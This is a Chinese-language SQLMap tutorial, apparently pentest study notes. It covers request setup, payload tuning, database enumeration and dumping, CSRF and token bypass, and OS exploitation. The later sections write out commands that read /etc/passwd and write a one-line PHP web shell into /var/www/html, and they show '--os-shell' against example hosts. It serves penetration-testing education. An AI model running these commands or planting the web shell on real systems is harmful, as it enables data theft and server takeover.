概述

SQLMap 是一个用 Python 编写的免费开源渗透测试工具,它可以自动化检测和利用 SQL 注入(SQLi)漏洞的过程。SQLMap 自 2006 年以来一直在持续开发,至今仍在维护中。

SQLMap 配备了一个强大的检测引擎,具有众多功能,以及广泛的可选参数和开关,用于微调其许多方面,例如

目标连接 注入检测 指纹识别
列举 优化 使用“篡改”脚本进行保护检测和绕过
数据库内容检索 文件系统访问 执行操作系统(OS)命令

支持的>数据库

列 1 列 2 列 3 列 4
MySQL Oracle PostgreSQL Microsoft SQL Server
SQLite IBM DB2 Microsoft Access Firebird
Sybase SAP MaxDB Informix MariaDB
HSQLDB CockroachDB TiDB MemSQL
H2 MonetDB Apache Derby Amazon Redshift
Vertica / Mckoi Presto Altibase MimerSQL
CrateDB Greenplum Drizzle Apache Ignite
Cubrid InterSystems Cache IRIS eXtremeDB
FrontBase

支持类型

SQLMap 是唯一一个能够正确检测和利用所有已知 SQL 注入类型的渗透测试工具。我们可以使用 sqlmap -hh 命令查看 SQLMap 支持的 SQL 注入类型:

1
sqlmap -hh

该技术角色 BEUSTQ 指的是以下内容:

  • B : 基于布尔值的盲
  • E : 基于错误的
  • U : 基于联合查询的
  • S : 堆叠查询
  • T : 基于时间的盲测
  • Q : 内联查询

自动化测试

使用--batch --dump自动化测试

输出描述

sqlmap 输出在扫描过程中显示了很多信息。这些数据通常至关重要,因为它们指导我们完成自动化的 SQL 注入过程。这显示了 SQLMap 正在利用哪种类型的漏洞,这有助于我们报告 Web 应用程序存在哪种类型的注入。如果我们在 SQLMap 确定注入类型和易受攻击的参数后想要手动利用 Web 应用程序,这也很有用。

在 HTTP 请求上运行 SQLMap

SQLMap 有许多选项和开关,可以在使用之前正确设置(HTTP)请求。

在许多情况下,简单的错误,例如忘记提供正确的 cookie 值,用冗长的命令行使设置过于复杂,或格式化 POST 数据声明不当,将阻止正确检测和利用潜在的 SQL 注入漏洞。

Curl 命令

针对特定目标(即包含参数的网页请求)正确设置 SQLMap 请求的最佳和最简单的方法之一,是利用 Chrome、Edge 或 Firefox 开发者工具中的 Network (Monitor) 面板内的 Copy as cURL 功能:

将剪贴板内容( Ctrl-V )粘贴到命令行中,并将原始命令 curl 更改为 sqlmap ,我们就能使用与 curl 命令完全相同的 SQLMap:

GET/POST 请求

在最常见的情况下,使用选项 -u / --url 提供 GET 参数,如前面的示例所示。对于测试 POST 数据,可以使用 --data 标志,如下所示:

1
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

在这种情况下,将测试 POST 参数 uidname 的 SQLi 漏洞。例如,如果我们明确知道参数 uid 容易受到 SQLi 漏洞的影响,我们可以使用 -p uid 将测试范围缩小到仅此参数。否则,我们可以在提供的数据中用特殊标记 * 标记它,如下所示:

1
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

自定义请求

自定义SQLMAP请求

如果我们想手动构建复杂的请求,有大量的开关和选项可以微调 SQLMap。
例如,如果需要指定(会话)cookie 值到 PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c 选项, --cookie 将按如下方式使用:

1
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

使用选项 -H/--header 也可以实现相同的效果:

1
sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

我们可以将相同的方法应用于像 --host--referer-A/--user-agent 这样的选项,它们用于指定相同的 HTTP 头部的值。

此外,还有一个名为 --random-agent 的开关,用于从包含的常规浏览器值数据库中随机选择一个 User-agent 标头值。这是一个重要的开关,需要记住,因为越来越多的保护解决方案会自动丢弃包含可识别的默认 SQLMap 用户代理值(例如 User-agent: sqlmap/1.4.9.12#dev (http://sqlmap.org) )的所有 HTTP 流量。或者,可以使用 --mobile 开关通过使用相同的标头值来模拟智能手机。

虽然 SQLMap 默认只针对 HTTP 参数,但可以测试请求头中的 SQL 注入漏洞。最简单的方法是在请求头的值之后指定 “custom” 注入标记(例如 --cookie="id=1*" )。相同的原理适用于请求的任何其他部分。

此外,如果我们想指定一个替代的 HTTP 方法,除了 GETPOST (例如 PUT ),我们可以使用选项 --method ,如下所示:

1
sqlmap -u www.target.com --data='id=1' --method PUT

自定义HTTP请求

除了最常见的表单数据 POST 主体样式(例如 id=1 ),SQLMap 还支持 JSON 格式(例如 {"id":1} )和 XML 格式(例如 <element><id>1</id></element> )的 HTTP 请求

对这些格式支持是“宽松”的;因此,参数值在内部存储时没有严格约束。如果 POST 主体相对简单和短, --data 选项就足够了。

但是,在复杂或长的 POST 主体的情况下,我们可以使用 -r 选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cat req.txt
HTTP / HTTP/1.0
Host: www.example.com

{
"data": [{
"type": "articles",
"id": "1",
"attributes": {
"title": "Example JSON",
"body": "Just an example",
"created": "2020-05-22T14:56:29.000Z",
"updated": "2020-05-22T14:56:28.000Z"
},
"relationships": {
"author": {
"data": {"id": "42", "type": "user"}
}
}
}]
}
1
sqlmap -r req.txt

攻击微调

在大多数情况下,SQLMap 使用提供的目标详细信息应该可以即装即用。然而,也有选项可以微调 SQL 注入尝试,以帮助 SQLMap 在检测阶段。发送到目标的所有有效负载都由以下部分组成:

  • 向量(例如, UNION ALL SELECT 1,2,VERSION() ):有效负载的核心部分,包含要在目标上执行的实用 SQL 代码。
  • 边界(例如, '<vector>-- - ):前缀和后缀的构成,用于将向量正确注入到易受攻击的 SQL 语句中。

前缀/后缀

在罕见的情况下,需要特殊的前缀和后缀值,这些情况未被常规的 SQLMap 运行所覆盖。

对于此类运行,可以使用 --prefix--suffix 选项,如下所示:

1
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

这将导致所有向量值被静态前缀 %')) 和后缀 -- - 包围。

等级/风险

默认情况下,SQLMap 会组合一组最常见的边界(即前缀/后缀对),以及在高概率成功的向量(针对易受攻击的目标)。然而,用户可以使用更大范围的边界和向量集,这些已在 SQLMap 中集成。

针对此类需求,应使用选项 --level--risk

  • 该选项 --level1-5 ,默认 1 )根据其成功预期扩展所使用的向量和边界(即,预期越低,级别越高)。
  • 该选项 --risk1-3 ,默认 1 )根据其在目标端引起问题的风险扩展所使用的向量集(即,数据库条目丢失或拒绝服务风险)。

检查不同 --level--risk 值的已用边界和有效负载之间差异的最佳方法是使用 -v 选项来设置详细程度级别。在详细程度 3 或更高(例如 -v 3 )的情况下,将显示包含已用 [PAYLOAD] 的消息

禁用数据强制转换

--no-cast: 禁止sqlmap在注入过程中使用CAST函数对查询结果进行显式的数据类型转换,直接将默认的原始列名进行注入

枚举

数据库枚举

枚举是 SQL 注入攻击的核心部分,在成功检测并确认目标 SQLi 漏洞的可利用性之后立即执行。它包括从易受攻击的数据库中查找和检索(即窃取)所有可用信息。

  • --banner:数据库版本横幅
  • --current-user:当前用户名
  • --current-db:当前数据库名称
  • is-dba:插件是否有管理员权限

表格枚举

在大多数常见情况下,在找到当前数据库名称(即 testdb )之后,通过使用 --tables 选项并使用 -D testdb 指定数据库名称来检索表名称

在找到目标表名后,可以使用 --dump 选项并指定表名 -T users 来检索其内容

表/行枚举

处理具有许多列和/或行的较大表格时,我们可以使用 -C 选项指定列(例如,仅 namesurname 列)

要在表格中根据行序号筛选行,我们可以使用 --start--stop 选项来指定行(例如,从第 2 项到第 3 项)

条件枚举

如果需要根据已知的 WHERE 条件(例如 name LIKE 'f%' )检索特定行,我们可以使用 --where 选项

完整的数据库枚举

与其基于单个表逐个检索内容,我们可以通过完全跳过使用 -T 选项(例如 --dump -D testdb ),直接检索目标数据库中的所有表。只需使用 --dump 开关,而不指定表名(使用 -T ),即可检索当前数据库的所有内容。至于 --dump-all 开关,则会检索所有数据库中的所有内容。

在这种情况下,用户还建议包含开关 --exclude-sysdbs (例如 --dump-all --exclude-sysdbs ),这将指示 SQLMap 跳过从系统数据库检索内容,因为这对于渗透测试人员来说通常没什么兴趣。

高级数据库枚举

数据库模式枚举

如果我们想要检索所有表的结构,以便能够全面了解数据库架构,我们可以使用开关 --schema

搜索数据

在处理具有大量表和列的复杂数据库结构时,我们可以使用 --search 选项来搜索感兴趣的数据库、表和列。该选项使我们能够使用 LIKE 运算符来搜索标识符名称。

绕过web应用保护

在理想情况下,目标端不会部署任何保护措施,因此无法防止自动利用。否则,在针对此类目标运行任何类型的自动化工具时,我们可以预期会遇到问题。尽管如此,SQLMap 中包含了许多机制,可以帮助我们成功绕过此类保护。

CSRF 令牌绕过

自动化工具使用的主要防御措施之一是在所有 HTTP 请求中包含反 CSRF(即跨站请求伪造)令牌,尤其是那些由填写网页表单生成的请求。

在大多数基本情况下,此类场景中的每个 HTTP 请求都应该只有在用户实际访问并使用了页面时才具有(有效的)令牌值。虽然最初的设想是防止恶意链接的场景,在这些场景中,仅仅打开这些链接就会对不知情的已登录用户产生不良后果(例如,打开管理员页面并添加一个具有预定义凭证的新用户),但这个安全功能也无意中使应用程序对(不想要的)自动化更加坚固。

然而,SQLMap 提供了一些选项来帮助绕过反 CSRF 保护。具体来说,最重要的选项是 --csrf-token 。通过指定令牌参数名称(该名称应在提供的请求数据中已经可用),SQLMap 将自动尝试解析目标响应内容并搜索新的令牌值,以便在下一个请求中使用它们。

唯一值绕过

在某些情况下,Web 应用程序可能只需要在预定义参数内提供唯一值。这种机制类似于上面描述的 anti-CSRF 技术,但无需解析网页内容。因此,只需确保每个请求对预定义参数都有一个唯一的值,Web 应用程序就可以轻松防止 CSRF 尝试,同时避免一些自动化工具。为此,应使用 --randomize 选项,指向包含应随机化的值的参数名称:

1
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI

计算参数绕过

Web 应用程序期望根据其他参数值计算一个正确的参数值。通常,一个参数值必须包含另一个参数值(例如 h=MD5(id) )的消息摘要。为了绕过这一点,应使用 --eval 选项,其中在发送请求到目标之前会评估有效的 Python 代码:

1
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI

操作系统漏洞利用

SQLMap 能够利用 SQL 注入来读取和写入数据库管理系统之外的本地系统文件。如果拥有适当的权限,SQLMap 还可以尝试在远程主机上执行直接命令。


文件读取/写入

通过 SQL 注入漏洞进行操作系统利用的第一部分是在托管服务器上读取和写入数据。读取数据比写入数据更常见,因为在现代数据库管理系统(DBMS)中,写入数据是严格受权限控制的,因为它可能导致系统被利用。

虽然我们不一定需要拥有数据库管理员权限(DBA)来读取数据,但这在现代 DBMS 中正变得越来越普遍。这同样适用于其他常见数据库。然而,如果我们确实拥有 DBA 权限,那么我们更有可能拥有文件读取权限。

检查DBA权限

要检查我们是否具有 SQLMap 的 DBA 权限,我们可以使用 --is-dba 选项:

1
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba

读取文件

通过 SQLi 手动注入上述行相对困难,而 SQLMap 使用 --file-read 选项可以较容易地读取本地文件

1
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

写入本地文件

在将文件写入托管服务器方面,现代数据库管理系统(DBMS)变得更加受限,因为我们可以利用这一点在远程服务器上编写 Web Shell,从而获得代码执行并控制服务器。

这就是为什么现代 DBMS 默认禁用文件写入,并且需要特定的权限才能让数据库管理员(DBA)能够写入文件。例如,在 MySql 中,必须手动禁用 --secure-file-priv 配置才能使用 INTO OUTFILE SQL 查询将数据写入本地文件,此外还需要主机服务器上的任何本地访问权限,例如写入我们需要目录的权限。

然而,许多 Web 应用程序需要 DBMS 写入数据到文件的能力,因此值得测试我们是否可以向远程服务器写入文件。使用 SQLMap 完成此操作,我们可以使用 --file-write--file-dest 选项。首先,让我们准备一个基本的 PHP Web shell 并将其写入 shell.php 文件:

1
echo '<?php system($_GET["cmd"]); ?>' > shell.php

现在,让我们尝试将这个文件写入远程服务器上的 /var/www/html/ 目录,这是 Apache 的默认服务器 Web 根目录。如果我们不知道服务器的 Web 根目录,我们将看看 SQLMap 如何可以自动找到它。

1
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

命令执行

既然我们已经确认可以编写一个 PHP shell 来获取命令执行,我们可以测试 SQLMap 在无需手动编写远程 shell 的情况下提供简单 OS shell 的能力。SQLMap 利用各种技术通过 SQL 注入漏洞获取远程 shell,例如我们刚刚所做的那样编写远程 shell,编写执行命令并检索输出的 SQL 函数,甚至使用直接执行 OS 命令的 SQL 查询,例如 Microsoft SQL Server 中的 xp_cmdshell 。要使用 SQLMap 获取 OS shell,我们可以使用 --os-shell 选项,如下所示:

1
sqlmap -u "http://www.example.com/?id=1" --os-shell

SQLMap 默认使用 UNION 技术来获取操作系统 shell,但最终未能给我们任何输出 No output 。因此,正如我们已经知道我们有多种类型的 SQL 注入漏洞,让我们尝试指定另一种更有可能直接给我们输出的技术,比如 Error-based SQL Injection ,我们可以使用 --technique=E 来指定它